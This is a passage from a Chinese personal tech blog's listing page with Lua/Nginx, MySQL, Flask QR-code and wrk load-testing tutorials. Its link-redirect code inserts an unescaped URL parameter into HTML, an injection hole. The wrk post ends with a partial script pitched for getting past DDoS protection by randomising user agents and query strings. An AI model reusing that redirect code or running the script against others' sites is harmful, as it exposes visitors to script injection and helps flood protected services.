首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
3,466 阅读
2
Cloudflare SAAS 接入自选教程
2,149 阅读
3
兽装曲腿制作文档
1,980 阅读
4
Frpc使用XTCP不通过服务器传输
1,836 阅读
5
CloudFront CDN配置教程
1,183 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
124
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
搜索到
64
篇与
的结果
2021-07-05
Nginx+Lua实现Websocket实时网卡流量推送
首先我们先了解一下Linux系统获取网络流量的几种方法1.基于sysfs虚拟文件系统,这是由内核用来将设备或驱动相关的信息输出到用户空间的一种机制。网络接口的相关分析数据会通过“/sys/class/net/<ethX>/statistics”输出。加之Linux提供了LKM机制可以使我们在内核空间工作,在LKM机制中一个重要的组成部分就是proc伪文件系统,它为用户提供了动态操作Linux内核信息的接口,是除系统调用之外另一个重要的Linux内核空间与用户空间交换数据的途径。如:/sys/class/net/eth0/statistics/rx_packets: 收到的数据包数据/sys/class/net/eth0/statistics/tx_packets: 传输的数据包数量/sys/class/net/eth0/statistics/rx_bytes: 接收的字节数/sys/class/net/eth0/statistics/tx_bytes: 传输的字节数/sys/class/net/eth0/statistics/rx_dropped: 当收到包数据包下降的数据量/sys/class/net/eth0/statistics/tx_dropped: 传输包数据包下降的数据量2.sarsar命令包含在sysstat工具包中,提供系统的众多统计数据。其在不同的系统上命令有些差异,某些系统提供的sar支持基于网络接口的数据统计,也可以查看设备上每秒收发包的个数和流量。3./proc/net/dev本文使用的是方法1,即为通过定时读取/sys/class/net/eth0/statistics/xxx文件的内容,来进行计算,获取最终的网络带宽使用lua 的io库进行读文件操作file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" )获得秒初的网络数据包数量进而通过ngx.sleep进行非阻塞的等待一秒后再次读取文件中的数据包数量ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" )这样,获得了秒末的数据包数量将秒末的数据包数量减去秒初的数据包数量。即为秒内的网络流动数据包数量因为每个数据大小为8个字节,因此,得出的结果*8就是每秒字节数,进而可以通过多次除去1024得道千字节数,兆字节数等local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 --and --tx = tx/1024/1024 --mbps --rx = rx/1024/1024 --mbps--核心代码实现 function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end因为将要使用websocket进行实时的数据传输,我们需要安装支持resty.websocket的扩展库,openresty用户默认就有,非openresty用户可前往https://github.com/openresty/lua-resty-websocket安装库安装过程可参考https://www.cnblogs.com/scotoma/p/3330190.htmlwebsocket相关代码local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end全部完整代码json = require "cjson" ngx.update_time() local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end local types = tonumber(ngx.var.arg_types) or 0 local pod = ngx.var.arg_pod or "tx" bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end详细项目地址https://gitee.com/daofengql/lua-websocket-real-time-network-traffic到此,lua部分已经编写完毕,接下来就要在nginx中配置配置文件来接入路由样例conflocation / { #路由名称具实际修改 #lua_code_cache off; default_type text/html; add_header 'Access-Control-Allow-Origin' *; content_by_lua_file /data/traffic.lua;#文件存放地址更具实际修改 } 配置完成后,如果不出意外,重载NGINX之后,可以使用在线websocket测试,测试服务推送出去,客户端收到的是json字符,可以再对其转化为字典对象等可以进一步将项目仓库内的html目录下的页面进行适当的修改和部署计数器核心功能代码<script language="JavaScript"> $(function () { var chart; var previous = null; var chart; // global var pointx = null; var ip = "180.188.16.147"; $(window).load(function () { initiateChart("L4dstat"); //parseFile(); }); var server = 'wss://ws.jcdpn.cn/?types=2'; var ws = new WebSocket(server); var temp_arr = [0.1]; var max_bps = 0.1; ws.onclose = function () { reconnect(service); }; ws.onmessage = function (evt) { data = JSON.parse(evt.data); temp_arr.push(data.rx); max_bps = Math.max.apply(null, temp_arr); temp_arr = [0.1]; var series = chart.series[0], shift = series.data.length > 20; chart.series[0].addPoint([Math.floor($.now()), max_bps], true, shift); max_bps = 0.1; }; function initiateChart(divid) { var options = { plotOptions: { series: { events: { legendItemClick: function (event) { event.preventDefault(); } } } }, chart: { zoomType: '', renderTo: divid, style: { fontFamily: "'Unica One', sans-serif" }, //plotBorderColor: '#606063' backgroundColor: '#e2e3e5', }, //title:{ // text: null // }, title: { text: '» '+ip+'核心流量计数器 «', }, xAxis: { type: 'datetime', dateTimeLabelFormats: { day: '%a' } }, yAxis: { minPadding: 0.2, maxPadding: 0.2, title: { text: 'Mb/秒', margin: 80 } }, credits: { enabled: false }, series: [{ type: 'area', //shadowSize: 0, name: 'Mbps/秒', color: '#164791', data: [] }] }; chart = new Highcharts.Chart(options); } }); </script>例如将默认的socket地址改成自己的流量计数器默认使用的单位为mbps,其他单位还需要自己修改和换算流量计数器使用highcharts.js来进行表格绘制效果
2021年07月05日
80 阅读
0 评论
0 点赞
2021-03-07
OpenResty-Lua之连接MySQL数据库
连接MySQL local mysql = require "resty.mysql" local db, err = mysql:new() if not db then ngx.say("failed to instantiate mysql: ", err) return end db:set_timeout(1000) --1 sec local ok, err, errno, sqlstate = db:connect{ host = "127.0.0.1", port = 3306, database = "test", user = "root", password = "vagrant", max_packet_size = 1024*1024 } if not ok then ngx.say("failed to connect: ",err, ":", errno, " ", sqlstate) return end res, err, errno, sqlstate = db:query("create table cats" .. "(id serial primary key, " .."name varchar(5))") if not res then ngx.say("bad result: ", err, ": ", errno, ":", sqlstate, ".") return end ngx.say("table cats created.") res, err, errno, sqlstate = db:query("insert into cats (name) " .. "values (\'Bob\'),(\'\'),(null)") if not res then ngx.say("bad result: ", err, ": ", errno, ": ", sqlstate, ".") return end样例2:local db, err = env:new() if not db then --错误处理 ngx.say(err) return end --设置超时 db:set_timeout(1000) --设置链接信息 local ok, err ,errcode ,sqlstate = db:connect{ database ="root",user = "root",password = "root",host = "127.0.0.1",port = 3306,charset = "utf8",max_packaget_size = 2048 * 2048 } --数据库命令主体 query = "select"; --数据库操作返回 local res, err ,errcode ,sqlstate = db:query(query) if not res then ngx.say(err) return end local ret = {} --数据库操作返回数据重构 for i,row in ipairs(res) do for key,raw in pairs(row) do ret[key] = raw end end --json编码进入 db:close()--关闭数据库连接需要安装Resty.mysql的库,非Openresty用户需要额外安装,resty.mysql库同时依赖resty.string库nginx配置文件部分:location /mysql_hello { content_by_lua_file XX.lua; }
2021年03月07日
101 阅读
0 评论
0 点赞
2021-02-25
Lua+Nginx 实现Wordpress外链跳转
Lua代码(保存为文件):p1 = [=[ <html><head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="referrer" content="always"> <title>道锋潜鳞 - 风控中心 - 跳转</title> <style> html,body{background:#F3F4F5;font-family: PingFang SC,Hiragino Sans GB,Arial,Microsoft YaHei,Verdana,Roboto,Noto,Helvetica Neue,sans-serif;padding:0;margin:0;} a{text-decoration:none;} .content{padding-top:220px;width:450px;margin:auto;word-break: break-all;} .content .logo-img img{display: block;width:175px;margin:auto;margin-bottom: 16px;} .content .loading-item{background:#fff;padding:24px;border-radius: 12px;border: 1px solid #E1E1E1;} .content .flex{display:flex;align-items:center;} .content .flex-end{display:flex;justify-content:flex-end} .content .tip1{background:#F0F9EA;} .content .tip2{background:#FDF5E6;} .content .tip3{background:#FEF0F0;} .content .loading-color1{color:#267DCC;} .content .loading-color2{color:#FC5531;} .content .loading-tip{padding:12px;margin-bottom:16px;border-radius:4px;} .content .loading-topic{font-size: 14px;color: #222226;line-height: 24px;margin-bottom:24px;} .content .loading-img{width:24px;height:24px;} .content .loading-btn{font-size: 14px;color: #FC5531;border: 1px solid #FC5531;display:inline-block;box-sizing: border-box;padding:6px 18px;border-radius: 18px;margin-left:8px;} .content .loading-btn2{font-size: 14px;color: #000000;border: 1px solid #000000;display:inline-block;box-sizing: border-box;padding:6px 18px;border-radius: 18px;margin-left:8px;} .content .loading-btn-github{width:121px;background:#FC5531;color:#fff;} .content .loading-text{font-size: 16px;font-weight: 600;color: #222226;line-height: 22px;margin-left:12px;overflow: hidden;text-overflow:ellipsis;white-space: nowrap;} @media (max-width: 450px){ .content{padding-top:120px;width:94%;} } #csdn-toolbar{width: 0;height: 0;display: none} </style></head> <body class="vsc-initialized"> <div id="linkPage" class="link-page"> <div class="content"> <div class="logo-img"><img src="//objectstorage.global.loongapi.com/loongapiSources/picbed/olddata2/2021/02/logo-full.png" alt=""></div> <div class="loading-item loading-others"> <div class="flex loading-tip tip2"> <img class="loading-img" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAADWUlEQVRoQ+2YvWsUQRiH33fmOMQiRQor7RQSweB9KAQEg1iYKFaZnJJ/wcTOMhLs7Ez8FwLebikasTGCoJDcHSoYQbHRyiKFhajczCu3SS73sbfzsXNJDnLV3s4y83vm3X12dhAG/IcDnh+OAHpVkITISvg2DYyQjwyVcXGt3o9q960CdZELAWC6ERoRn/CgentgAGimOCVJPmsNzJFfx2DjuW8I7xWg+xMZ9enXRwIaaQ2LgJ/Z2aFzvm8l7wBypjBPpB7FzTQiu8uDypLPKngFIDE+rODPFwIYjgUA2GJw7AyGb7d8QXgFkCK/TEB3ksIh4GMeVucOHQCV8qNKwQcCymgA6ozBGJarmz4gvFWgLvKrAHTNLBS+yITVSbNrk6/yAhCnTV04X1pNDdBLmzoAX1pNDZCkTS2EB62mAtBpUwvgQaupAEy0qYdIp1VnAFNtGgCk0qozgJ02tRjOWnUCoFJxUiqZuLJEgB+AbCWKTmqWAE4mYXDGp7C8sapD7Wy3BjDVJke8iUH1aZS/lL8hFUXHvX6uWrUGMNUmByxiWK1sAxTyUqnoOBHCQatWADbadAJw0KoVgJwpLBEpo5WkC0CjOohsmQeVeV21dtuNAWy16QwAaKVVYwBbbboCbM+s+WrVCMBEm50lTwcAYKpVLYCpNrsALDXa7XezTQAtgKk2Y14wVi+yuIfWZBMgEcBGm6bWsLkODbSaCGCjTZtgNtfqtNoTwFabMffwb0DYWQvBLAEdtwm+5/lkrfYEsNVmazgElIzxcSyvr0dLiVu5opL4joC4C0SSVmMBXLTZBoDwnge1863npMjVCKDtnA1ML612Abhqs70C8JPB6VMYhv+iCgiRVfD1OwGcsAndPim4yUaHxjr3VrsAZCk3RwpS718i4gpjdK8RQil8SESzruGbzwODeV6uLXdM1t7fg9amDjBOq20VOAza1EJ0rFabAGm1qRvYVzt2rFabAHWRa3zjetmv9BU2oZ/VTFibarRHACQuXJZQX9uHgb0NwZFdwaDyKgKQorBAoBa99b4PHSHCAx7UFnYqULikUL0mArYPY6ceInrTA05gWHmz9xCL4kWF6ioAZFOP0NcO8C8jerm746H9HuhrFg+dHwF4mMRUXQx8Bf4DeBHHQHvQneAAAAAASUVORK5CYII=" alt=""> <div class="loading-text">请注意您的账号和财产安全</div> </div> <div class="loading-topic"> <span>您即将离开,去往:</span> <a class="loading-color2"> ]=] p2 = [=[ </a> </p> <span>该链接不是我们的官方链接,风险不在我们的可控范围内</span> </div> <div class="flex-end"> <a class="loading-btn" href=" ]=] p3 = [=[ " target="_self" >继续</a> <a class="loading-btn2" href="#" onClick="javascript:history.back(-1);" target="_self">取消</a> </div> </div> </div> </div> </body> </html> ]=] resp = p1..ngx.var.arg_url..p2..ngx.var.arg_url..p3 ngx.say(resp)Nginx配置(部分):location ~ ^/goto/* { if ($request_method != GET) { return 403; } if ($arg_url = "") { return 403; } default_type text/html; content_by_lua_file /data/lua/link.lua; #前面lua代码的地址 }Wp:打开你的主题内的functions.php文件。在末尾添加如下php代码:function the_content_nofollow($content){ preg_match_all('/<a(.*?)href="(.*?)"(.*?)>/',$content,$matches); if($matches){ foreach($matches[2] as $val){ if(strpos($val,'://')!==false && strpos($val,home_url())===false && !preg_match('/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i',$val)){ $content=str_replace("href=\"$val\"", "href=\"".home_url()."/goto?url=$val\" ",$content); } } } return $content; } add_filter('the_content','the_content_nofollow',999);实现效果:
2021年02月25日
77 阅读
0 评论
0 点赞
2021-02-09
Python Flask+Qrcode实现在线动态二维码生成
代码如下:from PIL import Image import qrcode from io import BytesIO from flask import Flask, send_file, jsonify, request, Response, json import sys import base64 import random import json #定义库区块 app = Flask(__name__) status_base64 = {} #返回状态码json源字典体 #二维码创建路由1 @app.route("/api/QRcode/create/", methods = ["GET", "POST"]) def code_share(): try: #尝试执行下方代码,判断请求主体的base64编码是否解码异常若异常则执行except区块的代码 if request.method=='GET': url64 = request.args.get("url") or "aHR0cHM6Ly9iLjRsMi5jbi8="#get获取URL参数 iconm = request.args.get("icon") or "logo"#GET获取logo参数 else: url64 = request.form.get("url") or "aHR0cHM6Ly9iLjRsMi5jbi8="#POST获取URL参数 iconm = request.form.get("icon") or "logo"#POST获取logo参数 url = base64.b64decode(url64).decode("utf-8") #转化url参数 except Exception as e: #若检测到处理异常,则转换返回模式变为json,返回相关错误的消息 status_base64["status"] = "error" status_base64["code"] = 1 status_base64["Msg"] = str(e) return Response(json.dumps(status_base64), mimetype='application/json') else: #若前方try执行正确无异常,则执行生成操作返回数据 return make_code(url,iconm) #生成器函数 def make_code(url,iconm): qr = qrcode.QRCode(version=8, error_correction=3, box_size=8, border=4) qr.add_data(url) qr.make(fit=True) img = qr.make_image()#初步生成 img = img.convert("RGBA") icon = Image.open("res/" + iconm +".png")#获取logo图片数据 img_w, img_h = img.size factor = 4 size_w = int(img_w / factor) size_h = int(img_h / factor) icon_w, icon_h = icon.size if icon_w > size_w: icon_w = size_w if icon_h > size_h: icon_h = size_h icon = icon.resize((icon_w, icon_h), Image.ANTIALIAS) w = int((img_w - icon_w)/2) h = int((img_h - icon_h)/2) icon = icon.convert("RGBA") img.paste(icon, (w, h), icon) # img.show() byte_io = BytesIO() img.save(byte_io, 'PNG')#加载图片流 byte_io.seek(0) return send_file(byte_io, mimetype='image/png')#返回数据流中的图片 if __name__ == '__main__': app.run(host="0.0.0.0",port=8080,threaded=True)介绍QR Code码是由日本于1994年9月研制的一-种矩阵二维码符号,它具有一维条码及其它二 维条码所具有的信息容量大、可靠性高、可表示汉字及图象多种文字信息、保密防伪性强等优点。qrcode模块是Github_上的一-个开源项目,提供了生成二维码的接口。qrcode默认使用PIL库用于生成图像。由于生成qrcode图片需要依赖Python的图像库,所以需要先安装Python图像库PIL(Python Imaging Library)。QRCode二维码版本展示QR码符号共有40种规格,分别为版本1、版本....版本40版本1的规格为21模块x21模块,版本2为25模块x25模块,以此类推,每一版本符号比前一版本每边增加4个模块,直到版本40,规格为177模块X177模块。其中最高版本40可容纳多达1850个大写字母或2710个数字或1108个字节,或500多个汉字,比普通条码信息容量约高几十倍。由于其高密度编码,信息容量大,所以被广泛采用。QRCode方法qrcode.QRCode( version=1, error_ correction=qrcode.ERROR_ CORRECT_ _L, box_ size=10, border=4, image_ factory=None, mask_ pattern=None) 参数:* error_ correction:控制二维码纠错级别。 * ERROR_ CORRECT_ _L:大约7%或者更少的错误会被更正。 * ERROR_ CORRECT_ _M:默认值,大约15%或者更少的错误会被更正。 * ERROR_ CORRECT_ Q:大约25%或者更少的错误会被更正。 * ERROR_ CORRECT_ H:大约30%或者更少的错误会被更正。 * box_ size: 控制二维码中每个格子的像素数,默认为10。 * border:控制二维码四周留白包含的格子数,默认为4。 * image_ factory: 选择生成图片的形式,默认为PIL图像。 * mask_ pattern: 选择生成图片的的掩模。常用函数add_ _data(str,optimize=20):添加要转换的文字到data参数; 如果使用了optimize优化参数,数据将被拆分为多个块来进行优化,以找到一个长度至少为这个值的足够简洁的方式来生成二维码。设置为"0”以避免优化。make(fit=True):当fit参数为真或者没有给出version参数时,将会调用best_ fit方法来找到适合数据的最小尺寸。make_ image(ill color=None, back_ color=None,image_ factory=None):创建二维码的图像并返回,默认为PIL图像。使用如前代码,运行后访问url参数为url可传入文本,url等
2021年02月09日
106 阅读
0 评论
0 点赞
2021-01-30
Http压测工具wrk安装与分享
之前很长一段时间都在使用apachebench 俗称ab 但是用着用着,就觉得可玩性有点不足,尤其是在自定义这方面上。偶然间看到这款WRK压测工具wrk 的一个很好的特性就是能用很少的线程压出很大的并发量, 原因是它使用了一些操作系统特定的高性能 I/O 机制, 比如 select, epoll, kqueue 等。 其实它是复用了 redis 的 ae 异步事件驱动框架. 确切的说 ae 事件驱动框架并不是 redis 发明的, 它来至于 Tcl的解释器 jim, 这个小巧高效的框架, 因为被 redis 采用而更多的被大家所熟知.安装wrk支持大多数类UNIX系统,不支持windows。需要操作系统支持LuaJIT和OpenSSL,不过不用担心,大多数类Unix系统都支持。安装wrk非常简单,只要从github上下载wrk源码,在项目路径下执行make命令即可。wrk GitHub 源码:https://github.com/wg/wrkwrk只能运行于 Unix 类的系统上,也只能在这些系统上跑必备条件:1.软件包:gcc g++ make build-essential等(具体视系统而定)安装好了这些软件包后,进入源码目录git clone https://github.com/wg/wrk.git cd wrk make -j4(可选多线程)编译完成之后,目录下面会多一个 wrk 的文件。使用以下命令来测试一下:./wrk -c 1 -t 1 -d 1 http://www.baidu.com基本使用命令行敲下wrk,可以看到使用帮助Usage: wrk <options> <url> Options: -c, --connections <N> Connections to keep open -d, --duration <T> Duration of test -t, --threads <N> Number of threads to use -s, --script <S> Load Lua script file -H, --header <H> Add header to request --latency Print latency statistics --timeout <T> Socket/request timeout -v, --version Print version details Numeric arguments may include a SI unit (1k, 1M, 1G) Time arguments may include a time unit (2s, 2m, 2h)简单翻成中文:使用方法: wrk <选项> <被测HTTP服务的URL> Options: -c, --connections <N> 跟服务器建立并保持的TCP连接数量 -d, --duration <T> 压测时间 -t, --threads <N> 使用多少个线程进行压测 -s, --script <S> 指定Lua脚本路径 -H, --header <H> 为每一个HTTP请求添加HTTP头 --latency 在压测结束后,打印延迟统计信息 --timeout <T> 超时时间 -v, --version 打印正在使用的wrk的详细版本信息 <N>代表数字参数,支持国际单位 (1k, 1M, 1G) <T>代表时间参数,支持时间单位 (2s, 2m, 2h)测试1数据非常的明了测试2使用24线程 6000个链接,在海外G口机器上,使用随机脚本,达到了20WQPS的峰值数据(实际上约合10W)使用Lua脚本个性化wrk压测以上两节安装并简单使用了wrk,但这种简单的压测可能不能满足我们的需求。比如我们可能需要使用POST METHOD跟服务器交互;可能需要为每一次请求使用不同的参数,以更好的模拟服务的实际使用场景等。wrk支持用户使用--script指定Lua脚本,来定制压测过程,满足个性化需求。介绍wrk对Lua脚本的支持wrk支持在三个阶段对压测进行个性化,分别是启动阶段、运行阶段和结束阶段。每个测试线程,都拥有独立的Lua运行环境。启动阶段function setup(thread)在脚本文件中实现setup方法,wrk就会在测试线程已经初始化但还没有启动的时候调用该方法。wrk会为每一个测试线程调用一次setup方法,并传入代表测试线程的对象thread作为参数。setup方法中可操作该thread对象,获取信息、存储信息、甚至关闭该线程。thread.addr - get or set the thread's server address thread:get(name) - get the value of a global in the thread's env thread:set(name, value) - set the value of a global in the thread's env thread:stop() - stop the thread运行阶段function init(args) function delay() function request() function response(status, headers, body)init由测试线程调用,只会在进入运行阶段时,调用一次。支持从启动wrk的命令中,获取命令行参数;delay在每次发送request之前调用,如果需要delay,那么delay相应时间;request用来生成请求;每一次请求都会调用该方法,所以注意不要在该方法中做耗时的操作;reponse在每次收到一个响应时调用;为提升性能,如果没有定义该方法,那么wrk不会解析headers和body;结束阶段function done(summary, latency, requests)该方法在整个测试过程中只会调用一次,可从参数给定的对象中,获取压测结果,生成定制化的测试报告。自定义脚本中可访问的变量和方法变量:wrk wrk = { scheme = "http", host = "localhost", port = nil, method = "GET", path = "/", headers = {}, body = nil, thread = <userdata>, }一个table类型的变量wrk,是全局变量,修改该table,会影响所有请求。方法:wrk.fomat wrk.lookup wrk.connect function wrk.format(method, path, headers, body) wrk.format returns a HTTP request string containing the passed parameters merged with values from the wrk table. 根据参数和全局变量wrk,生成一个HTTP rquest string。 function wrk.lookup(host, service) wrk.lookup returns a table containing all known addresses for the host and service pair. This corresponds to the POSIX getaddrinfo() function. 给定host和service(port/well known service name),返回所有可用的服务器地址信息。 function wrk.connect(addr) wrk.connect returns true if the address can be connected to, otherwise it returns false. The address must be one returned from wrk.lookup(). 测试与给定的服务器地址信息是否可以成功创建连接示例使用POST METHODwrk.method = "POST" wrk.body = "foo=bar&baz=quux" wrk.headers["Content-Type"] = "application/x-www-form-urlencoded"通过修改全局变量wrk,使得所有请求都使用POST方法,并指定了body和Content-Type头。为每次request更换一个参数request = function() uid = math.random(1, 10000000) path = "/test?uid=" .. uid return wrk.format(nil, path) end通过在request方法中随机生成1~10000000之间的uid,使得请求中的uid参数随机。每次请求之前延迟10msfunction delay() return 10 end每个线程要先进行认证,认证之后获取token以进行压测token = nil path = "/authenticate" request = function() return wrk.format("GET", path) end response = function(status, headers, body) if not token and status == 200 then token = headers["X-Token"] path = "/resource" wrk.headers["X-Token"] = token end end在没有token的情况下,先访问/authenticate认证。认证成功后,读取token并替换path为/resource。压测支持HTTP pipeline的服务init = function(args) local r = {} r[1] = wrk.format(nil, "/?foo") r[2] = wrk.format(nil, "/?bar") r[3] = wrk.format(nil, "/?baz") req = table.concat(r) end request = function() return req end通过在init方法中将三个HTTP request请求拼接在一起,实现每次发送三个请求,以使用HTTP pipeline附赠可用作变参破盾的脚本:wrk.method = "GET" --请求模式 radua = 1 -- 是否启用随机ua数据 1为开,其他均为关 radque = 1 -- 是否启用随机查询数据 1为开,其他均为关 uri = "/?p="--随机查询数据uri关键 仅仅在radque=1的时候生效 quemax = 100000 --最大随机查询生成大小 仅仅在radque=1的时候生效 --随机ua列表开始 ua = { "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60", "Opera/8.0 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.50", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0", "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET 